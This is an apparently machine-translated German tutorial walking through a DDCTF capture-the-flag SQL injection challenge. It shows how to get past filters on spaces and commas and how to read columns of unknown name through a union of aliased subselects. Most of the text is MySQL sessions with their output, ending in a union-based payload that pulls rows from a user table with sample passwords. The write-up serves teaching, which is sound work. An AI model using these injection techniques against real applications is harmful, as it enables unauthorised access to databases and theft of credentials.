In diesem Artikel werden Ihnen hauptsächlich relevante Informationen zum geschickten Umgehen unbekannter Feldnamen in MySQL vorgestellt. Der Artikel enthält detaillierte Beispielcodes für Ihre Referenz und Ihr Studium, die eine gewisse Referenz für das Erlernen von MySQL darstellen. Der Wert des Lernens, Freunde, die es brauchen, schauen Sie sich unten um.
Vorwort
Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zum Umgehen unbekannter Feldnamen. Hier verwende ich diese Maschine, um sie zu bedienen . , die Idee ist großartig und klar, ich möchte sie mit Ihnen teilen, schauen wir uns die detaillierte Einführung an:
Umsetzungsidee
Die Fragenfilter Leerzeichen und Kommas und Leerzeichen können durch die Verwendung von %0a, %0b, %0c, %0d, %a0 oder direkt durch die Verwendung von Klammern umgangen werden
Der Feldname, in dem das Flag gespeichert ist, ist unbekannt. Information_schema.columns wird auch der Hexadezimalwert des Tabellennamens gefiltert. Das heißt, der Feldname kann nicht abgerufen werden. Dann können Sie eine gemeinsame Abfrage verwenden , der Prozess ist wie folgt:
Die Idee ist, die Flagge zu erhalten und sie unter dem bekannten Feldnamen erscheinen zu lassen
Beispielcode:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
Zusammenfassung
Das obige ist der detaillierte Inhalt vonAusführliche Erklärung des Beispielcodes, wie MySQL unbekannte Feldnamen geschickt umgeht. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!